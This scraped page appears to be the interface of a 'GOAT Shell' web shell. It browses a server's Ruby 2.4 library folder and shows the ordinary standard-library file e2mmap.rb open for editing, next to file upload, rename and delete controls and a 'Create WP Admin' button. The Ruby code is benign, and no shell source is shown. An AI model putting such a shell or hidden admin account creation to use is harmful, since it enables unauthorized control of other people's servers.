🐐 GOAT Shell
Current path:
opt
/
alt
/
ruby24
/
lib64
/
ruby
/
2.4.0
/
👤 Create WP Admin
⬆️
Go up: ruby
✏️ Editing: e2mmap.rb
# frozen_string_literal: false # #-- # e2mmap.rb - for Ruby 1.1 # $Release Version: 2.0$ # $Revision: 1.10 $ # by Keiju ISHITSUKA # #++ # # Helper module for easily defining exceptions with predefined messages. # # == Usage # # 1. # class Foo # extend Exception2MessageMapper # def_e2message ExistingExceptionClass, "message..." # def_exception :NewExceptionClass, "message..."[, superclass] # ... # end # # 2. # module Error # extend Exception2MessageMapper # def_e2message ExistingExceptionClass, "message..." # def_exception :NewExceptionClass, "message..."[, superclass] # ... # end # class Foo # include Error # ... # end # # foo = Foo.new # foo.Fail .... # # 3. # module Error # extend Exception2MessageMapper # def_e2message ExistingExceptionClass, "message..." # def_exception :NewExceptionClass, "message..."[, superclass] # ... # end # class Foo # extend Exception2MessageMapper # include Error # ... # end # # Foo.Fail NewExceptionClass, arg... # Foo.Fail ExistingExceptionClass, arg... # # module Exception2MessageMapper E2MM = Exception2MessageMapper # :nodoc: def E2MM.extend_object(cl) super cl.bind(self) unless cl < E2MM end def bind(cl) self.module_eval "#{<<-"begin;"}\n#{<<-"end;"}", __FILE__, __LINE__+1 begin; def Raise(err = nil, *rest) Exception2MessageMapper.Raise(self.class, err, *rest) end alias Fail Raise class << self undef included end def self.included(mod) mod.extend Exception2MessageMapper end end; end # Fail(err, *rest) # err: exception # rest: message arguments # def Raise(err = nil, *rest) E2MM.Raise(self, err, *rest) end alias Fail Raise alias fail Raise # def_e2message(c, m) # c: exception # m: message_form # define exception c with message m. # def def_e2message(c, m) E2MM.def_e2message(self, c, m) end # def_exception(n, m, s) # n: exception_name # m: message_form # s: superclass(default: StandardError) # define exception named ``c'' with message m. # def def_exception(n, m, s = StandardError) E2MM.def_exception(self, n, m, s) end # # Private definitions. # # {[class, exp] => message, ...} @MessageMap = {} # E2MM.def_e2message(k, e, m) # k: class to define exception under. # e: exception # m: message_form # define exception c with message m. # def E2MM.def_e2message(k, c, m) E2MM.instance_eval{@MessageMap[[k, c]] = m} c end # E2MM.def_exception(k, n, m, s) # k: class to define exception under. # n: exception_name # m: message_form # s: superclass(default: StandardError) # define exception named ``c'' with message m. # def E2MM.def_exception(k, n, m, s = StandardError) e = Class.new(s) E2MM.instance_eval{@MessageMap[[k, e]] = m} k.module_eval {remove_const(n)} if k.const_defined?(n, false) k.const_set(n, e) end # Fail(klass, err, *rest) # klass: class to define exception under. # err: exception # rest: message arguments # def E2MM.Raise(klass = E2MM, err = nil, *rest) if form = e2mm_message(klass, err) b = $@.nil? ? caller(1) : $@ b.shift if b[0] =~ /^#{Regexp.quote(__FILE__)}:/ raise err, sprintf(form, *rest), b else E2MM.Fail E2MM, ErrNotRegisteredException, err.inspect end end class << E2MM alias Fail Raise end def E2MM.e2mm_message(klass, exp) for c in klass.ancestors if mes = @MessageMap[[c,exp]] m = klass.instance_eval('"' + mes + '"') return m end end nil end class << self alias message e2mm_message end E2MM.def_exception(E2MM, :ErrNotRegisteredException, "not registered exception(%s)") end
Save
📁
cgi
|
✏️ Rename
|
🗑️ Delete
📁
digest
|
✏️ Rename
|
🗑️ Delete
📁
drb
|
✏️ Rename
|
🗑️ Delete
📁
fiddle
|
✏️ Rename
|
🗑️ Delete
📁
forwardable
|
✏️ Rename
|
🗑️ Delete
📁
io
|
✏️ Rename
|
🗑️ Delete
📁
irb
|
✏️ Rename
|
🗑️ Delete
📁
json
|
✏️ Rename
|
🗑️ Delete
📁
matrix
|
✏️ Rename
|
🗑️ Delete
📁
net
|
✏️ Rename
|
🗑️ Delete
📁
openssl
|
✏️ Rename
|
🗑️ Delete
📁
optparse
|
✏️ Rename
|
🗑️ Delete
📁
psych
|
✏️ Rename
|
🗑️ Delete
📁
racc
|
✏️ Rename
|
🗑️ Delete
📁
rbconfig
|
✏️ Rename
|
🗑️ Delete
📁
rdoc
|
✏️ Rename
|
🗑️ Delete
📁
rexml
|
✏️ Rename
|
🗑️ Delete
📁
rinda
|
✏️ Rename
|
🗑️ Delete
📁
ripper
|
✏️ Rename
|
🗑️ Delete
📁
rss
|
✏️ Rename
|
🗑️ Delete
📁
rubygems
|
✏️ Rename
|
🗑️ Delete
📁
shell
|
✏️ Rename
|
🗑️ Delete
📁
syslog
|
✏️ Rename
|
🗑️ Delete
📁
unicode_normalize
|
✏️ Rename
|
🗑️ Delete
📁
uri
|
✏️ Rename
|
🗑️ Delete
📁
webrick
|
✏️ Rename
|
🗑️ Delete
📁
x86_64-linux
|
✏️ Rename
|
🗑️ Delete
📁
yaml
|
✏️ Rename
|
🗑️ Delete
📄
abbrev.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
base64.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
benchmark.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
cgi.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
cmath.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
csv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
date.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
debug.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
delegate.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
digest.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
drb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
e2mmap.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
English.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
erb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
expect.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
fiddle.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
fileutils.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
find.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
forwardable.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
getoptlong.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ipaddr.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
irb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
json.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
kconv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
logger.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mathn.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
matrix.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mkmf.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
monitor.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mutex_m.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
observer.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
open-uri.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
open3.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
openssl.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
optionparser.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
optparse.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ostruct.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pathname.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pp.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
prettyprint.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
prime.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
profile.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
profiler.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pstore.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
psych.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rdoc.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
resolv-replace.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
resolv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ripper.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rss.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rubygems.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
scanf.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
securerandom.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
set.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
shell.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
shellwords.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
singleton.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
socket.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
sync.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tempfile.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
thwait.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
time.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
timeout.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tmpdir.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tracer.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tsort.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ubygems.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
un.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
unicode_normalize.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
uri.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
weakref.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
webrick.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
yaml.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📤 Upload File
Upload
📁 Create Folder
Create Folder